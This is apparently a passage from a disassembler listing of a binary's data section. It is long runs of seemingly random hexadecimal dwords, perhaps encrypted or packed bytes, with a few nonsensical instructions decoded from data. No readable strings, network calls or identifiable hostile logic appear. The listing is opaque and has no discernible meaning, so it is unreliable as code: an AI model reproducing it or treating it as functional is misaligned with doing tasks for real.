915B42E0h, 539D2DD8h, 181559E8h dd 0AB944BCDh, 818CD032h, 5BFC5621h, 0A0A9E76Fh, 0BB7EA59h dd 2B15B3C6h, 8DC2F274h, 0FF5C6A75h, 6C6BD76Dh, 0F55A9D93h dd 962EF103h, 5950FE8Bh, 0F3099E06h, 0E45CCC42h, 3F1746D6h dd 10CA924Bh, 81C31BE8h, 47C07BE3h, 0BD24035Fh, 6EA54671h dd 0B235BF82h, 94561504h, 36A274B8h, 0D2BB6C57h, 6F0953E8h dd 0A8B85AD1h, 8B1F0B00h, 0C49D562Ch, 805F6060h, 0AC613FD4h dd 484C89Eh, 815FBB41h, 85A4D82Bh, 40D45195h, 0A525EFB5h dd 5C8D1525h, 1746D6FCh, 4CC3FD5Ah, 9163C18Ch, 8261C4A3h dd 97F8A1ECh, 443311Ah, 715510B2h, 0DF7F65D3h, 9F3E80A9h dd 752529D5h, 55AC01FFh, 7D8501F7h, 0D6B77A1Eh, 5CE38004h dd 0E8A9E9C6h, 920E816h, 8736EA7Eh, 26D8AC0h, 61FE6BC5h dd 6E8085B8h, 6153435h, 4FEB48h, 0C579B4B8h, 4C8134Dh dd 2E5CF9AAh, 0DFA5C20Ch, 0D2007B55h, 0C8C0715Ch, 4769463h dd 0E98FD6A1h, 0DD17AF60h, 0D25A76BCh, 3140C185h, 37E459BBh dd 4EB1200h, 397C6E8h, 80D777E9h, 2B00CC0Ch, 0A352857Fh dd 0CE0DF7h, 50817B2Fh, 0CB0FF5A1h, 0DA7C2800h, 0F4A72B5Bh dd 145A00A0h, 8BC93367h, 7A0080D4h, 0B81246F3h, 0A4982Ah dd 171D4568h, 0E86D329Bh, 0EFE54901h, 669CC86Bh, 0EE42D4h dd 0F78171E4h, 7E28D28Ah, 0E2BCD003h, 900DAE2Ch, 0D3040Eh dd 8B818E22h, 6E0B4259h, 7DFE3000h, 9A6458EAh, 0D7170056h dd 0E38F234Fh, 0E2001840h, 8B26AB72h, 0C08D67D5h, 1478E025h dd 5700844Ah, 82EE8FC0h, 0E1422Eh, 6E1143B9h, 0D586C8C2h dd 97297900h, 71265665h, 96DF0325h, 0E36BA5FBh, 0D48DE0C1h dd 4507B6ADh, 5C2A8A29h, 5710D3h, 0A2ABD9EAh, 340EE1D6h dd 0D94D262Ah, 0C817F52h, 92669F93h, 7BE906ABh, 2E388672h dd 1F622h, 4BEA6DAFh, 0CB6AEDE7h, 0EC486778h, 3B890F28h dd 0B4401941h, 0A8FAECh, 0ECD12651h, 89832380h, 10A94826h dd 872BC600h, 7FB69D7h, 0ADDFD5DAh, 0E0B470EEh, 2600D31Ah dd 0ED6D2B72h, 3EE8E24Eh, 0B200B667h, 915F90FCh, 0E318BD5Ch dd 0AE715B51h, 93953F36h, 46E8BC00h, 3A964788h, 0F312F5FCh dd 960FB97Ah, 0D978782Bh, 0BF550030h, 0D6033ABCh, 5DE07375h dd 0D38DF11Eh, 0EACCE380h, 0CA9A04h, 1BB8D489h, 46222B59h dd 34291898h, 0EF159FB6h, 0CA6B0053h, 48175A94h, 9D0260FAh dd 2281ED75h, 878D8204h, 4E884655h, 9EA7789h, 0C06C0D4Ch dd 0CA782F01h, 45C250F2h, 3C057EDDh, 3EE385D0h, 3113C404h dd 943C4A4Ah, 4300C46Ch, 2AA8EF1Dh, 8452DD89h, 9E9118D4h dd 15165453h, 0EBE99FE6h, 0A1511h, 31C852BBh, 0F9D271h dd 6DFE5BF8h, 0DF114FEEh, 49E59800h, 78268625h, 5C5030E2h dd 6937AFDDh, 31E1DB28h, 806FCC3Ch, 939935E4h, 515B95Ch dd 973BD61Fh, 0A8C0ABC7h, 0D804BAh, 488B90C3h, 0B0143995h dd 0EB0EE9B0h, 43CBA792h, 0FF0AF3h, 0EE5CA70h, 0C05812BDh dd 3D06C49h, 0C869EC16h, 0D20E064h, 3C11006Dh, 30A5F262h dd 2F00D581h, 0ADA70BA6h, 0F0258928h, 75C718A8h, 6AF22F7Fh dd 0A0AA0600h, 5D25C131h, 0AE736E8Ch, 3977DF61h, 4C02FCCBh dd 529B2000h, 0C7B276E6h, 8D0B007Dh, 0D51BB5E1h, 1AFCF1A0h dd 246B6E02h, 48269E2Eh, 139C796h, 5CB2A2D0h, 200C16EEh dd 0F10A69C4h, 0B35210DCh, 724B5E00h, 6DE22Ch, 0E157E5C8h dd 0FBEC533Ah, 0B80A5806h, 4CFC6E27h, 0A6844ADAh, 7F668834h dd 0F94BD10Eh, 5FD47803h, 0D1760EDh, 1D85F26Ah, 35B8BE00h dd 0AB222884h, 0B950010Eh, 0BA92DA37h, 413330C1h, 35A7E914h dd 51B880ADh, 573BECh, 0E64594B5h, 2503DAAEh, 79212E24h dd 3069CA05h, 276D1B9h, 104E276Eh, 548FAA2h, 0F90C55CDh dd 1065B58Fh, 0F45C98D5h, 333BF050h, 0D619E389h, 96F93800h dd 21C47D1Bh, 0D5500F6h, 4AE96DA3h, 800F8AE6h, 2301AD4Eh dd 7E7613CEh, 0F7390477h, 0C07BD782h, 9D68B139h, 9700D7B0h dd 6E14B762h, 24BC461Dh, 3C155012h, 1E4AE70Ah, 1D2528A3h dd 943EB1Ah, 0ABA0C911h, 0DF26721Fh, 0ADF3CA03h, 0D00ADE37h dd 6E3043h, 550379DAh, 10CCED3h, 0E98CCF13h, 0B023B505h dd 4DD50A80h, 62EB00E1h, 0D33D3785h, 28FC0B7Ch, 0B8E84400h dd 0B7C2D606h, 1E02F4EEh, 83DFD156h, 21EFB129h, 83AEA09Fh dd 0B8008B11h, 0A5C9FE01h dd 90075E06h, 27380025h, 0E6D6481h, 6100A8ADh, 8E40DA84h dd 14A4AE4Bh, 0D7298536h, 51D49C00h, 0DA712BAh, 50C5BF00h dd 0A0381168h, 6A6000CCh, 986236E3h, 9077C255h, 238F3Bh dd 0B4092BEh, 0DD1309h, 11A3FD9Ch, 0AEF901Bh, 17CD6E50h dd 9FD6E500h, 195CA6F2h, 0DED40078h, 252FE9Bh, 1F0050BCh dd 0DFF2A1D1h, 0A0FC29h, 0A4075B7Bh, 0D08E2BA2h, 4F84A0Ch dd 0E6775476h, 0EE141E4Ch, 72B0FE67h, 315DC519h, 912AE7A0h dd 0D0787A09h, 869905A8h, 728F8C8h, 60C370E6h, 6DA5A0C5h dd 980134EBh, 12BE5B92h, 3B30DC18h, 0BA59009Dh, 3DDE1C16h dd 57059B91h, 0CF0208A4h, 0BBC2E084h, 0C08563A6h, 4E9822Eh dd 81E28952h, 8373A4C2h, 870E08B0h, 5C8B2414h, 0E18951C1h dd 1252C181h, 0F70C07E9h, 422CF75Ch, 5E742368h, 93C3E3Ch dd 4004EC83h, 4FBED6h, 0BD69DB0Dh, 6FCA0FB0h, 5EF52906h dd 2A2E8B54h, 0DA2FC481h, 0E5D0563Bh, 0D4734001h, 8478F31h dd 8CCE6FE9h, 3E56410Ah, 0C6A8E689h, 63068423h, 8B5C8687h db 2, 54h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 870C39ACh rcr byte ptr [esi], 5Ch jmp near ptr 64CB723h ; --------------------------------------------------------------------------- db 0FFh dd 8099DD5Ah, 0D0D70BC3h, 0F5400945h, 71ABFCh, 0EF069AB8h dd 0FFC50305h, 0C8CBE000h, 0B00A118Eh, 47230067h, 737A7850h dd 223AE6DDh, 0B23D6Fh, 277DA482h, 426A15h, 3F9CC44Ch dd 0F5888D1Bh, 0F4346E1Eh, 782D2240h, 0FF4952h, 0D75B505Fh dd 364B8F01h, 43684Ch, 0AC1F1EAh, 0B209BEh, 0C5D86B45h dd 357BE179h, 0A69A6D04h, 2AEA7873h, 0E9C09EE9h, 0EBC7E413h dd 90ED014Eh, 75A3BB66h, 265BDA50h, 6A8F70h, 0BA4F56DEh dd 7D5B543Fh, 0D3FC605Ah, 661CB2C0h, 614EC68Bh, 3B6FAFh dd 1BAD262Bh, 718FBFEFh, 0BF564AF7h, 0F358C56Fh, 4B09A844h dd 838FD1EFh, 0AEB92AC0h, 0EA00A1B8h, 0CB20936Fh, 95E862B4h dd 0FE0C7905h, 63E13221h, 4F14B815h, 0F8B856E9h, 74820F27h dd 23CDEB1Ah, 7EF8DC42h, 2EB06DE8h, 0EFA5D6ECh, 3E0E3C5h dd 6ED14FFFh, 40E900ACh, 0FAD6127Dh, 0BD0309F8h, 0E5570885h dd 3B879AF1h, 0BD92930Fh, 4CCB8BBh, 499D23C0h, 4F3132Ch dd 30182D00h, 20025E9Ch, 9E2CA072h, 0A3007915h, 0F49F975Dh dd 0A2B64FF9h, 5B08D908h, 0D32C9E7Bh, 0BB7095AAh, 0B3333001h dd 1EFDBD31h, 1CE2E69h, 0C15A4DCBh, 0F4F8875Eh, 634B97E2h dd 0FD14617h, 4E8C0891h, 0D5B9373Fh, 0AA1D1688h, 5B278E81h dd 0E24D656Ah, 617207F4h, 409F8711h, 96AA6FCBh, 85D009Ah dd 64F3601Ah, 50E261F5h, 794FBF02h, 7E9075BDh, 0AED3A790h dd 3DB688DBh, 3AE3FEDFh, 0C2DA23Ch, 4DDCC77Ch, 0A8848114h dd 2420FE53h, 2A5896h, 0A2100A1Ah, 40A9F794h, 9F793D28h dd 5F6B5509h, 2766585Bh, 0E1E692B7h, 2A022388h, 0BE0029F4h dd 131F23A8h, 24DDB8C2h, 89E603Fh, 0F0A0A8Dh, 61025F8Eh dd 6DFF6A5Bh, 0CE9AE35Fh, 45D39617h, 0E958881h, 0A033B72Ah dd 2F570565h, 76F8152Eh, 64EDD9BDh, 0F913B029h, 11D78101h dd 0B07ACC32h, 9E6348C2h, 9F70B8C6h, 0FC3DFE44h, 3CB100A5h dd 8D0171E4h, 1A7E974Dh, 1073D65Ah, 15C14F2Eh, 49EE9D2Bh dd 206AF888h, 6D85011Ch, 44BE19D3h, 4995836Eh, 0E2E95D89h dd 1398BE60h, 89A243FAh, 0A1B4E000h, 0BBC41B24h, 0D3046600h dd 0DE21109Fh, 0AF862F43h, 8B2D9652h, 0B214CD8h, 0A5B1417Eh dd 0C7A9A3DDh, 0DAC2A5A3h, 1121D4E9h, 0BA966397h, 0E485DAAEh dd 8F0F194Fh, 3EF80D01h, 29FC5A84h, 190DE918h, 9800C174h dd 92FA3006h, 1B38CA8Ch, 2AE8DDA3h, 85E8585Eh, 0D33D24Fh dd 146DA099h, 8B83E4EBh, 278CFB5Ah, 80600957h, 857EBCDEh dd 45899E60h, 0A75400EBh, 460E1B86h, 0FC0BAF65h, 516188CAh dd 64279136h, 74EBFBBEh, 11A6C214h, 7C73A85Fh, 0ACB53D3Bh dd 0B9423110h, 7A14F512h, 5A827920h, 49ADA852h, 0DC5F277Fh dd 3517F4FCh, 4EB2C06Ch, 63052900h, 0A1A39C03h, 4A173917h dd 18AC4EA9h, 0CFC4BD8Ch, 0F1F0604Eh, 580540B5h, 0CEB9610Bh dd 0F4767C10h, 65620B06h, 205A7E03h, 58B51EBDh, 99235A6Ch dd 0A8837D42h, 0B3A2439h, 0AB406F3Fh, 0CF6DB88h, 2483F39Dh dd 85F52563h, 956FFC4Ah, 0DE0F0973h, 11982EA1h, 1A13A6B0h dd 0FABC2F9Eh, 5A3000D2h, 0B830BA33h, 2EDE6BE1h, 0C5E280C5h dd 9D850BEEh, 0BA9C5CDEh, 0F6537E25h, 38351A02h, 13800F34h dd 3596010h, 9C4E93Eh, 23E32F00h, 6F34B768h, 865002BDh dd 6547DCEEh, 0EB83EFD7h, 0AF502C38h, 5EC27112h, 3F06EBAh dd 912AC925h, 0EA6BA0C4h, 0C9DE5A8Bh, 0F02D3600h, 24B2B821h dd 97610645h, 996B220Bh, 231747F5h, 321258F2h, 71B53998h dd 146A32F6h, 0F9B2B975h, 0BAF3FC2Eh, 421929h, 4588E52Eh dd 574B1764h, 5B2D3DA8h, 62121E65h, 56EC81F9h, 91A60726h dd 0C74EFD12h, 0F8D015B8h, 0CCDB3E8Eh, 9D29E882h, 0BF002EA9h dd 4AAE0BF9h, 8F64EA33h, 231DAE05h, 2BE139ACh, 537DC204h dd 0D999700Fh, 51CA9D5Ah, 55911B22h, 0BBF2A681h, 40E45BC4h dd 0B9A51E31h, 0B2EE568Ch, 92C68E47h, 0EDE88DFDh, 0F9B89050h dd 2FA9569Fh, 5F700CDBh, 0CD677A73h, 2B1B22D0h, 81076DE2h dd 80EC3A50h, 74D48079h, 0EE922h, 0B62F16C7h, 88DBCAC1h dd 857B6B3Ch, 5F17F8BBh, 9B4A58ACh, 22CC80A3h, 5D485A9h dd 0F0E1A13Bh, 0A84CD598h, 7637587Ah, 5CD3685Ah, 0A91384DCh dd 0AB1CAD4Fh, 98F24CB3h, 0EA30B513h, 1D238B6Fh, 677F5400h dd 0BDA42A3h, 4CBA2A78h, 0A13139FDh, 0C0D809DEh, 7602F62Dh dd 0EBD34124h, 297C8BA2h, 1629DD85h, 680199D4h, 0FA8E26D6h dd 0EC5F5D63h, 6EC093BAh, 0B290DD29h, 8207E4CEh, 9D287877h dd 0BB1F1E4Eh, 52161A3Ch, 0C3F234ABh, 0FA8425B2h, 202E1A9Dh dd 5A487CDCh, 6A71C700h, 19363440h, 1F07079h, 0A8DBAA92h dd 0EEE9BA16h, 0C697BD78h, 0D98B2D1Ch, 62C9B546h, 9F9D5849h dd 5E769B89h, 0C6D802F6h, 90D9E24Eh, 0A3001F71h, 358B5E0h dd 7E8A00C3h, 7DADB2Ch, 0D8FB493Ah, 604FDFEEh, 0EF0046B2h dd 0ED5B6489h, 3E01B516h, 0D68D7E4Dh, 0AC412FC3h, 5F021B35h dd 0F7276051h, 42BAD330h, 0E48ECB01h, 6116EF90h, 0BBF1246Ah dd 82DC9D9Bh, 43063DA7h, 2985EE2h, 0C0138025h, 0F8F802BCh dd 12889C80h, 8F3B5333h, 0A027FF6h, 5F85E282h, 9E8BD13Dh dd 78D46553h, 4DA8FDCFh, 0DA132198h, 0C1A60689h, 466EAEE0h dd 0D6524512h, 0C8CECCFBh, 53C45012h, 27A7E325h, 5462A8A0h dd 9EBB5C04h, 0AB81F51Eh, 256021FBh, 0C8315A99h, 8D2D0937h dd 0BB852061h, 5EFC13EDh, 0DB2C133Eh, 59828B5Fh, 0DA8B8027h dd 0F398E068h, 0DC52B44Fh, 0FD86700h, 9E5B5331h, 12A8B1E1h dd 0DF10AA06h, 2B6B1F0Bh, 0DCCBD44Bh, 0E5357900h, 0D023CB8Dh dd 0CD835A7Fh, 11972A56h, 24B76111h, 0B4CBBC6Ah, 1D8281B8h dd 9C7D46E2h, 0A23EF970h, 89B3172Ch, 83732ABFh, 0F49D890Bh dd 31614191h, 0BD1C25DCh, 0C5A72167h, 311613ADh, 142BC9B1h dd 54C2A984h, 7753C21Eh, 0FA46BCCCh, 1B23BFh, 3686E823h dd 7C2C2D4Bh, 5E00A311h, 0FFB8BA4h, 2A0C458Ah, 310596F3h dd 0EB2E158Dh, 0B83E0C39h, 7BDB5A5Dh, 56B9AF82h, 4B507A49h dd 5F0935E0h, 0A9C16C9Bh, 89CF28DCh, 0DF126C60h, 1D85D330h dd 6EEA294Bh, 64192953h, 7EC85701h, 0C0CAB5C2h, 82014907h dd 2F0D2E40h, 0AFA3E597h, 76006735h, 0EA337B36h, 17CFAA9h dd 9FBBC5E1h, 214D3057h, 32DED96h, 0F39B133h, 6A27DD7Ah dd 3B00AF6Eh, 975F9F68h, 553DDA71h, 9D238275h, 0D7EA255Dh dd 0B517FEEEh, 2CC83011h, 0A6E64DD0h, 8016017h, 6D2C0D41h dd 0F2AFEF02h, 0AF355F61h, 99801691h, 0B529BFCBh, 530CD927h dd 0A65697ACh, 0A8D70265h, 7514E7ACh, 0BA5A81FBh, 0E8685DABh dd 0E3267819h, 0F912373Ah, 51DB9CFAh, 4CC78039h, 0AAC94FDAh dd 8FF0FC36h, 920956EBh, 2C96550h, 7314253Ah, 0FF76BE5Ah dd 9AFC8854h, 0AC76E4Eh, 0D95FB17Bh, 0DBAFD700h, 14EF33BBh dd 0F25155ECh, 5B79FB0Bh, 6C9AA750h, 0FBA4BA9Fh, 2E175125h dd 0DBA8F1A2h, 6FEA034Bh, 0D7F100A8h, 0B109B408h, 7815B5FDh dd 2AF00340h, 2AD39DE2h, 2B014726h, 565750BCh, 0FFDD207Ah dd 690C908Eh, 5A5F7102h, 988D0060h, 0DCEC3FC2h, 845C429Dh dd 12BE4AD4h, 0E05EA647h, 278C385Dh, 6D58F668h, 0E9B82FE1h dd 50159A1h, 52FAA085h, 0CF9FAF1Dh, 1BE83EC0h, 1225F958h dd 408A9A9Ah, 810D199Dh, 80342CF8h, 7BA00166h, 5A980075h dd 7CC71FF7h, 270240F3h dword_5147D4 dd 836E95B5h, 51F3D4EEh, 55F90C0Dh, 826B9950h, 79B01123h dd 7CB7BD2Bh, 4B83944Bh, 5E719140h, 8176B208h, 0D88AF9BFh dd 0B423A67Eh, 0A20295F6h, 0C6C8CF36h, 0F3BD0ED8h, 32831630h dd 3108FD2h, 5B12D9Dh, 2D15C847h, 2A5A7D5Fh, 57EA39Dh dd 0A83518CBh, 0CCF858A5h, 0B7B9FC86h, 4B005BFAh, 0E49C7699h dd 0EEA394FEh, 0AC0B2DDEh, 0EDAD7647h, 9F214067h, 3D025A9Eh dd 48318D9Bh, 7359D0F9h, 347C0150h, 0E95B6725h, 12F17BABh dd 0E9C0341Ah, 7B9C3BC1h, 0A76E3107h, 559D530h, 0CDAF1674h dd 9C9A3F80h, 9D01F283h, 457D1D8Ah, 90F22525h, 8375BD21h dd 690DDF81h, 8AE29284h, 19C0A068h, 0B6F6EF5Bh, 0CB5DAFF0h dd 6AB4D30Ch, 4E3574B5h, 4802A225h, 0B04A13DCh, 0C60839C1h dd 41C2F209h, 43F8CFD5h, 1E818CD0h, 1252CA7h, 5DF731BFh dd 0DB2B6A3Eh, 2201C0D6h, 0C416534Ch, 1630F1CAh, 1CF52805h dd 894872EBh, 0AAF24457h, 43CDD7F9h, 0A6F3B869h, 0DB620059h dd 31727DE0h, 0BF04D1FFh, 70B1A202h, 0A6A314BCh, 0B7750B87h dd 9C1D8023h, 0E8597CB5h, 60056C17h, 73D8DC89h, 0B8E30016h dd 0EE097B14h, 3A0BEC9Dh, 0F66CB6C0h, 8850B9Dh, 65C6D5h dd 7FBB2B6Fh, 5E219484h, 87F06171h, 0F4E8572h, 0FC3C49A5h dd 0CDDCEB93h, 255FFEB3h, 9BF49050h, 0A98D2960h, 0FFBB880Dh dd 0F8A6195Fh, 36301BB2h, 8A7C02B0h, 6BAA491h, 0E97DCE58h dd 120B479Dh, 0FD9616CAh, 5EAABC3Eh, 94B9B82Fh, 2CA9121Fh dd 6F964DECh, 5410B9Bh, 7ECE890Bh, 355FA583h, 80EB2B1Ah dd 0AFD17C6Dh, 7D58A828h, 1A5D10C7h, 0D25D34Dh, 0D909BD2Fh dd 1A5DE92Bh, 0FFA6418Ah, 0E983122Fh, 122F8E3h, 0E5BB0F7Bh dd 2F76F307h, 8DAA8164h, 0C80B4145h, 30FC3A74h, 0D03DE4D3h dd 7D013F79h, 593D6004h, 763DFF6Ah, 0AD00C7B8h, 4078B0F2h dd 0A17F8F32h, 0CA60DE83h, 0BB0C4A71h, 8F032F6Fh, 74FD90E2h dd 2A3F2D89h, 8B52CFCh, 0F58E018Bh, 805100B0h, 0BD5BCECFh dd 125EC41h, 43A70E6h, 0BF786E70h, 24D0C31Fh, 0EE09C64Ch dd 0D00273A6h, 7C271E4h, 0BC914A5Ch, 0EAEB8012h, 0F051F54Ah dd 5B59A42Fh, 0BC319784h, 6660A171h, 0C2FC4BB3h, 0FED95344h dd 18EDFA5h, 9041BDE4h, 0FCC82B25h, 0FB0E19Dh, 0B3D18B00h dd 7B4FB098h, 0E6F1A922h, 4C443826h, 4E8DD1D0h, 0DBF9FC09h dd 0E5311706h, 0C815AC0Dh, 50E98A1Dh, 0E38945A1h, 579108Bh dd 9D97FD4Eh, 0A573D6ADh, 0D6C521C6h, 39EB0AE1h, 0F9B7D821h dd 210B9497h, 62200D35h, 5F01574Ch, 5EE295A5h, 9347C207h dd 7872D3DDh, 3839D97Ah, 0B55E9AC8h, 56B7D544h, 5A02E412h dd 752B5985h, 85050C3Ah, 0B99147A9h, 710B99Eh, 0B972C3Ch dd 0C9DD4DCBh, 0CC82C45Dh, 0FC671D7Eh, 0A48D093Fh, 0CB40620Ah dd 4A2B0EBEh, 0B88CBDC0h, 717F030Eh, 34DAD632h, 0D22B3680h dd 0A812C4D6h, 6BD34EB6h, 0B8B43836h, 0C2910405h, 1682F3BEh dd 6D1E6AD8h, 0A1F4E9DFh, 2E805301h, 2820F3A8h, 352848D5h dd 0EA07139Eh, 1B23026Eh, 0ACDDFF05h, 0E12E81FAh, 80DD285Eh dd 195556B4h, 7D8B27DEh, 6613E196h, 17CDE7CDh, 90D74520h dd 8BD549AAh, 0B816BE4Bh, 0E57BFEh, 4BBE4AA8h, 4AB88F35h dd 16AE82E0h, 0A5A11D75h, 0F141204Dh, 0AEF41AA4h, 3BC4099Bh dd 90CD2E31h, 0A5AA9CC0h, 3D774C64h, 0EA311913h, 87692E38h dd 30671CE4h, 9EB4575Bh, 0B362C112h, 0F81C56BCh, 0DAFC25B8h dd 957A58C9h, 0DED654h, 0DF125C9Dh, 56ED373Eh, 51870F25h dd 1E388540h, 0E80BA5Fh, 97FA0ABFh, 0B745A614h, 4E6D0220h dd 84DFA31Eh, 7AEB04BFh, 78FA00CFh, 0BB9D3CCAh, 80F2124Eh dd 8AA1E218h, 0A73E4557h, 607B041Dh, 0F5B8C0FDh, 0BD095113h dd 5B2523E9h, 9BD361C2h, 0B03E5770h, 0EBF633h, 0B144830Ch dd 1E987EBBh, 0DEEF1650h, 0B7660997h, 0D3BD8025h, 7BA58BA6h dd 8491984Bh, 0DCC20145h, 2604DE64h, 73F67816h, 23F16BBEh dd 0A3970119h, 0D2B296F2h, 8316515Fh, 296007B3h, 0AB75E5CAh dd 27166021h, 3B5A941Bh, 0EBCC1E02h, 6D5D6A35h, 88C5E05Fh dd 0A4E9AA5h, 12200FF8h, 94EE6801h, 50607F0Ch, 0B75B61C8h dd 1107255Eh, 79DA1397h, 854502D6h, 4B80D6B8h, 3167D95Dh dd 338D51DAh, 4A0900CFh, 0EB1710C5h, 1CAFFCFEh, 0DAFAA8h dd 0D29EA75Ch, 8B4BEE0Fh, 0FC92FA20h, 2BF800DFh, 0C0B794E2h dd 44E8788Dh, 53AB7527h, 181759DAh, 6D550982h, 0A4042BAFh dd 8FF7FB2Dh, 11F59508h, 3E5CFB91h, 281B8510h, 9510EB5Fh dd 5B7E19F9h, 9216A9D8h, 0C18060ACh, 91D740C3h, 0F28CEF4Bh dd 97E6F480h, 2EFC8C19h, 25A74452h, 0EA5806A2h, 7811E40h dd 0D175D0D3h, 0BDD3CF49h, 4D9B806h, 8A46F25h, 3FF6ABDBh dd 0A90FED13h, 0B6BFC68h, 12F17D59h, 21645Fh, 103B8546h dd 1C6DB04Dh, 0BDCEBA00h, 96FC7B39h, 0E9B213D4h, 5F7AC22Eh dd 0D098D355h, 353EDFEFh, 761580EBh, 4DD3BBC0h, 85084BF2h dd 0B099E76Eh, 210A3FDh, 41DD92A5h, 84F55716h, 5B0B2D9Dh dd 0C9BB4F80h, 68045F1Fh, 0B8538299h, 772398EEh, 4F8C0B09h dd 2494D281h, 42047CBh, 0AE858DABh, 9680769Fh, 5EDEE245h dd 0CEBB2C16h, 9BE49F0h, 5250D65Bh, 0B2729BD5h, 791AF731h dd 5FA18B7Fh, 0EFEE4998h, 19ED4400h, 572F3DC6h, 0F9A0318h dd 38DCD926h, 963FEE38h, 3BDB905Fh, 0DA580997h, 49E96DDDh dd 20EE86CCh, 0FF1E4806h, 18F63A9Eh, 0A4F4C0BFh, 61715125h dd 4ADC6DBCh, 5602BA23h, 0E931B589h, 883E51A5h, 7300EE7Dh dd 7214A144h, 9E76C02h, 5FD1D577h, 4A5B4FDDh, 1D2AE06Ch dd 110BB67Fh, 0DDE7DC0Eh, 0EA068584h, 516BD739h, 37BCCB2Bh dd 6DD47E97h, 85F33B56h, 0DF810FBAh, 4BE007D8h, 0FFB8F884h dd 88A9EDA2h, 0D540AADEh, 1A0DA9Ah, 4E5BAF5Ah, 4B5F8C9Dh dd 3BD031ACh, 7DC2C380h, 0DE5250DBh, 0E427C23Bh, 253DE582h dd 7074457Dh, 290BD573h, 7E1D498Dh, 1846DE83h, 1ADB0B7Eh dd 447528B1h, 0BD200CAh, 0D432CF40h, 0F309BA7Eh, 775DCDC9h dd 0B59584EEh, 55420013h, 9E4A08ADh, 5D969F26h, 24506427h dd 1C17353Ah, 38880B0h, 27B2D233h, 0AD6ED709h, 8290D793h dd 965AFB8Bh, 4177DA20h, 3B550568h, 659761C0h, 4412BFE0h dd 4AA6298Ch, 0DC30AE22h, 9F6114E6h, 0BF047753h, 0B3612EFAh dd 0A0322EFBh, 403DD457h, 0AE40A427h, 0D90F9F7Ch, 219C36F1h dd 5F21FFE7h, 0A92CFD3Eh, 2F802669h, 0E39123DAh, 76205D78h dd 34D94E92h, 4AA9AC98h, 0CA8206DBh, 847D1021h, 85D0DD84h dd 73BFBB52h, 941D4BA1h, 85DCEFA7h, 0A6325E95h, 301BF226h dd 2F025B3Eh, 1EBDE525h, 9E61CC5Ah, 0AD24F44Ch, 0A038C4BAh dd 9FB72714h, 954ABC4Ch, 0FD4E19BDh, 8C17AC61h, 1C55769Fh dd 967A8980h, 186030FEh, 0F053599h, 0F1E276E7h, 0EADCA3A3h dd 0D0614097h, 6013960Dh, 9BF2F08Bh, 4754CB07h, 4AD0092Dh dd 474949Fh, 0F141BEA0h, 64E6FA8Eh, 0B28DB692h, 9A713015h dd 0C7D97E95h, 0D67E0BFDh, 0D5130A72h, 75A7FBACh, 0D09969BFh dd 0DFEE4176h, 90946596h, 47E504D4h, 80039A94h, 8814DFEAh dd 0C073342Fh, 9F0DABD2h, 1659AF5Bh, 420AF819h, 9D87EEB7h dd 2B44946Dh, 41A2A4B8h, 59695EFCh, 46012A0h, 1F0ED5E3h dd 0C661C2C4h, 1A7AFAh, 29E37D03h, 9845DE4Bh, 0BDF6758Dh dd 6F9A6078h, 0F43F7C9Fh dd 81731759h, 0EE422F62h, 0C30C7FCh, 9611B5Fh, 0E9800FFAh dd 37429D34h, 3E65DAC1h, 0B7C16642h, 606F5C07h, 0D56FF781h dd 7C62232Fh, 1FFFA4B6h, 0B64ABC07h, 7086E0CCh, 83250D85h dd 3A44926Fh, 13EFFE9h, 0A4101D92h, 292F9EACh, 7B77FBEFh dd 0B36F8CD5h, 0B27DA001h, 81F9B9D8h, 0B798042Eh, 18C2EF21h dd 69591A26h, 848AA00h, 0B0DBEE1Fh, 0AFB4999Dh, 0D0002073h dd 22550960h, 78961658h, 0A8B25276h, 169CD0E8h, 0BB50C20h dd 77D86CDCh, 90E5F349h, 1536E3Fh, 279A807Fh, 0A6521A8Fh dd 5BF97E84h, 5C583E2h, 3FC352Dh, 0BF8C7DA2h, 55D39AE0h dd 0DF5B5228h, 0D598D84Bh, 0E831448Dh, 924141A0h, 18C82113h dd 0F5C544EFh, 5B8AFA71h, 0A0B02956h, 0EF0BB22Ah, 0DDD51D58h dd 8342F266h, 9FC38100h, 0FF554665h, 14E6D14Ah, 7191A1E0h dd 2AB78C12h, 748910F2h, 80013D5Dh, 97B60D49h, 31973BBh dd 6B41B0Eh, 2C7AD6FCh, 2DC3026Ah, 90024FD2h, 0DEE8B4BBh dd 1E0E5C78h, 0FCEDAFFAh, 0FCE970C1h, 9BF01C4h, 7931DC8Ah dd 0D451982h, 7AE996DFh, 0E0488B1h, 56A81287h, 0C3EF30DDh dd 427E7C28h, 0B701977Dh, 5B295335h, 9B2E32F0h, 824A8081h dd 0E79EA2h, 0E2399209h, 0C2EA8160h, 3E6B6509h, 76905589h dd 14B5161h, 5FBE4BBEh, 46D60DD4h, 0D7A00517h, 7240C4F1h dd 3605FA95h, 64440048h, 66B6BA34h, 2E4E5AE9h, 0C29B15D5h dd 0C3947BC5h, 128A956Dh, 80F4517Fh, 70E52673h, 614F5A2Ah dd 0C94471BFh, 304A0B2Bh, 6B4D2D58h, 0F55CCE13h, 40BDA1E0h dd 0FBB56102h, 94385AF2h, 0A70BC8E6h, 5DFF6AFAh, 0A053C0Bh dd 817DD53Dh, 412E9D48h, 2B016906h, 1C2207CAh, 75810F2Fh dd 6CDF7238h, 731B216h, 62563CE0h, 2325FDB0h, 0E6F5800Bh dd 5EB52970h, 9E74FC79h, 0F398D04h, 0E51432AFh, 7CA8A165h dd 0DF1C7927h, 7B882E91h, 0F8DF048Ch, 0DE8B1337h, 0D67EECBAh dd 2E2FCA05h, 9D2BB180h, 0A30D5E35h, 14223Dh, 2BD91F29h dd 0C60ADFDh, 0F1176600h, 0ECF46404h, 0FB8C5043h, 0A1F9BD88h dd 8BC4B703h, 5DC431D1h, 8186E9D5h, 0E557BB51h, 6D701208h dd 554C1250h, 0DEE1E147h, 30C1B682h, 0E1165F06h, 56386523h dd 53E2F800h, 0CFD25E2Ch, 1E673404h, 0F6B9655Ch, 67B01122h dd 55AF072Dh, 0B524420h, 2D6961BDh, 0ACEA595Fh, 294D093Ah dd 2C11EA73h, 0BBE4572Fh, 0B3481B00h, 4FA8AD7h, 7A9905F7h dd 0EA500B42h, 0EA0B2774h, 95D06915h, 0F3AD7644h, 24A3E584h dd 0DBA85FADh, 9BE7D000h, 4E3B2BEFh, 2AFCB73Dh, 9403A06Fh dd 5A44D6h, 393F35FBh, 8BB6A915h, 1A9753E8h, 0F790D5E7h dd 42002C97h, 5613F33Dh, 24B9282Ah, 0E0700FBAh, 0BE6B5D8Fh dd 0F585FA4Bh, 7A80A4DBh, 0C8BB1E4Fh, 0A0BA5E2h, 57D9BD29h dd 5BCB66E7h, 